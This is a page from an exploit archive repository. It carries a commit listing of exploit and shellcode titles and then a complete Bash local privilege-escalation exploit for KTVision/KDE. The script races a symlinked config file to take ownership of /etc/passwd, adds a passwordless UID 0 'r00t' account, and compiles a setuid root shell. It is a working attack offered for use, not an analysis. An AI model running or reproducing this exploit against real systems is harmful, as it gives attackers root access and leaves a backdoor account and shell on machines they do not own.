
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
100 lines
No EOL
2.2 KiB
Bash
Executable file
100 lines
No EOL
2.2 KiB
Bash
Executable file
#source: https://www.securityfocus.com/bid/1291/info
|
|
#
|
|
#The KDE configuration-file management has a bug which could result in root compromise.
|
|
#
|
|
#Due to insecure creation of configuration (rc) files via KApplication-class, local users can modify ownership of arbitrary files when running setuid root KDE-programs.
|
|
#
|
|
#Properly exploited, this can permit a local attacker to change ownership of key system files, then write arbitrary data to them, allowing an elevation of privileges.
|
|
|
|
|
|
#!/bin/bash
|
|
|
|
link=/home/paul/.kde/share/config
|
|
linkto=/etc/passwd
|
|
target=/opt/kde/bin/ktvision
|
|
|
|
echo ""
|
|
echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
|
|
echo ""
|
|
|
|
if ! test -u $target ; then
|
|
echo "[-] $target not found"
|
|
exit 1
|
|
fi;
|
|
|
|
echo "[+] $target found"
|
|
|
|
rm -f sush*
|
|
cat <<__DUPA__>>sush.c
|
|
#include <stdio.h>
|
|
main()
|
|
{
|
|
setuid(geteuid());
|
|
setgid(getegid());
|
|
execl("/bin/bash", "/bin/bash", NULL);
|
|
}
|
|
__DUPA__
|
|
|
|
echo " compiling sush"
|
|
res=$(gcc sush.c -o sush)
|
|
|
|
if test "$res" != "" -o ! -x sush ; then
|
|
echo "[-] failed"
|
|
rm sush* ktvback.*
|
|
exit 2;
|
|
fi;
|
|
|
|
echo "[+] success"
|
|
|
|
cp $linkto ktvback.$$
|
|
mkdir -p $link
|
|
rm -f $link/ktvisionrc
|
|
ln -s $linkto $link/ktvisionrc
|
|
|
|
echo ""
|
|
echo -n "now running... (ensure that X is up and running)"
|
|
|
|
$target >/dev/null 2>&1 &
|
|
cpid=$!
|
|
|
|
declare -i cnt
|
|
declare -i max
|
|
cnt=0
|
|
max=60
|
|
|
|
while ! test -O $linkto ; do
|
|
sleep 1;
|
|
printf " %.2d" $cnt
|
|
cnt=$(($cnt+1))
|
|
if test $cnt -ge $max ; then
|
|
echo ""
|
|
echo ""
|
|
echo "[-] FAILED"
|
|
rm sush* ktvback.*
|
|
exit 2;
|
|
fi;
|
|
done;
|
|
|
|
kill -9 $cpid >/dev/null 2>&1
|
|
rm $link/ktvisionrc
|
|
|
|
echo ""
|
|
echo ""
|
|
echo "[+] SUCCESS, creating sush"
|
|
echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
|
|
echo ""
|
|
su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
|
|
ktvback.$$ $linkto; chown 0.0 $linkto"
|
|
rm ktvback.* sush.c
|
|
|
|
if ! test -u sush ; then
|
|
echo " hm strange error"
|
|
rm sush* ktvback.*
|
|
exit 1
|
|
fi;
|
|
|
|
echo ""
|
|
echo "starting ./sush"
|
|
./sush
|
|
|
|
#!plonk |